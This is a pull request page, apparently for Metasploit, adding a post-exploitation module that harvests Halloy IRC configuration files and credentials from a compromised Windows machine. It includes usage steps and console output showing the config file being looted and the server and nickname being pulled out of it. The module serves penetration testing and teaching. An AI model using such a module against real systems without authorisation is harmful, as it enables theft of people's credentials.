Add Halloy IRC PackRat module

[The-Pink-Panther]

As A part of my final year project at Leeds Beckett University, I have developed several post-exploitation modules utilising the existing PackRat framework built by former LBU students. This PR will add a new /post/windows/gather/credentials module for the Halloy IRC Client. https://github.com/squidowl/halloy

This pull request will add two files:

1. modules/post/windows/gather/credentials/halloy_irc.rb
2. documentation/modules/post/windows/gather/credentials/halloy_irc.md

Verification

1. Start msfconsole
2. Get a Meterpreter session on a Windows system
3. use post/windows/gather/credentials/halloy_irc
4. Set SESSION 1
5. run

Scenario

Using Halloy v2024.6 running on Microsoft Windows 10 Home 10.0.19045 N/A Build 19045

msf6 post(windows/gather/credentials/halloy_irc) > run

[*] Filtering based on these selections:  
[*] ARTIFACTS: All
[*] STORE_LOOT: true
[*] EXTRACT_DATA: true

[*] Halloy irc's Config.toml file found
[*] Downloading C:\Users\test\AppData\Roaming\halloy\config.toml
[*] Halloy irc Config.toml downloaded
[+] File saved to:  /home/kali/.msf4/loot/20240507133313_default_10.0.0.2_HalloyIRCconfig_968975.toml

[+] server="irc.libera.chat"
[+] port=6697
[+] nickname="halloy4169"
[+] File with data saved:  /home/kali/.msf4/loot/20240507133313_default_10.0.0.2_EXTRACTIONconfig_815098.toml
[*] PackRat credential sweep Completed
[*] Post module execution completed

[bwatters-r7]

msf6 post(windows/gather/credentials/halloy_irc) > show options

Module options (post/windows/gather/credentials/halloy_irc):

   Name          Current Setting  Required  Description
   ----          ---------------  --------  -----------
   ARTIFACTS     All              no        Type of artifacts to collect (Accepted: All, logins)
   EXTRACT_DATA  true             no        Extract data and stores in a separate file
   SESSION       2                yes       The session to run this module on
   STORE_LOOT    true             no        Store artifacts into loot database


View the full module info with the info, or info -d command.

msf6 post(windows/gather/credentials/halloy_irc) > run

[*] Filtering based on these selections:  
[*] ARTIFACTS: All
[*] STORE_LOOT: true
[*] EXTRACT_DATA: true

[*] Starting Packrat...
[*] Halloy irc's base folder found
[*] Found the folder containing specified artifact for config.toml.
[*] Halloy irc's Config.toml file found
[*] Processing C:\Users\msfuser\AppData\Roaming\halloy
[*] Downloading C:\Users\msfuser\AppData\Roaming\halloy\config.toml
[*] Halloy irc Config.toml downloaded
[+] File saved to:  /home/tmoose/.msf4/loot/20240516151324_default_10.5.134.167_HalloyIRCconfig_797897.toml

[*] Searches for credentials (USERNAMES/PASSWORDS)
[+] server="irc.libera.chat"
[*] Searches for credentials (USERNAMES/PASSWORDS)
[+] nickname="halloy6531"
[+] File with data saved:  /home/tmoose/.msf4/loot/20240516151325_default_10.5.134.167_EXTRACTIONconfig_611466.toml
[*] PackRat credential sweep Completed
[*] Post module execution completed
msf6 post(windows/gather/credentials/halloy_irc) > 

[bwatters-r7]

Release Notes

This adds a module leveraging Packrat to gather credentials against Halloy IRC.